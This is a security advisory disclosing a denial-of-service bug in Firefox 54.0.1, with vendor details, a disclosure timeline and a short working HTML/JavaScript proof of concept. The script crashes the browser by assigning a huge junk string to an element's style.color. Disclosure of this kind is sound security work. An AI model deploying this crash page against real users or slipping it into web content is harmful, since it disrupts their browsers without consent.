Firefox 54.0.1 Denial Of Service

Firefox version 54.0.1 suffers from a denial of service vulnerability.


MD5 | 9e6dbc8b2122d425a1c5d8b9e352ef36

[+] Credits: John Page aka hyp3rlinx  
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/FIREFOX-v54.0.1-DENIAL-OF-SERVICE.txt
[+] ISR: ApparitionSec



Vendor:
===============
www.mozilla.org



Product:
===============
Firefox v54.0.1



Vulnerability Type:
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Denial Of Service



Security Issue:
================
Dynamically creating HTML elements IMG,FORM,DIV,P,A,H2,IFRAME,TABLE,TEXTAREA and assigning very long string of junk chars to the
"style.color" property results in Firefox Browser out of memory crash (not tab crash).

Tested on Windows 7

References:
https://bugzilla.mozilla.org/show_bug.cgi?id=1376692#a465096_417288


Exploit/POC:
=============
<html>
<body>
<script>

var p1 = "\x41";
for (var c=0;c<0xC350;c++){
p1+="\x41";
}
var p2="\x41";
for (c=0;c<0x1388;c++){
p2 += p1;
}
var el = document.createElement('img') //FORM,DIV,P,A,H2,IFRAME,TABLE,TEXTAREA //<=== OR any of these elements.
el.style.color=p2
document.body.appendChild(el)

</script>
</body>

</html>


Network Access:
===============
Remote



Severity:
=========
Medium




Disclosure Timeline:
=============================
Vendor Notification: June 27, 2017
July 7, 2017 : Public Disclosure



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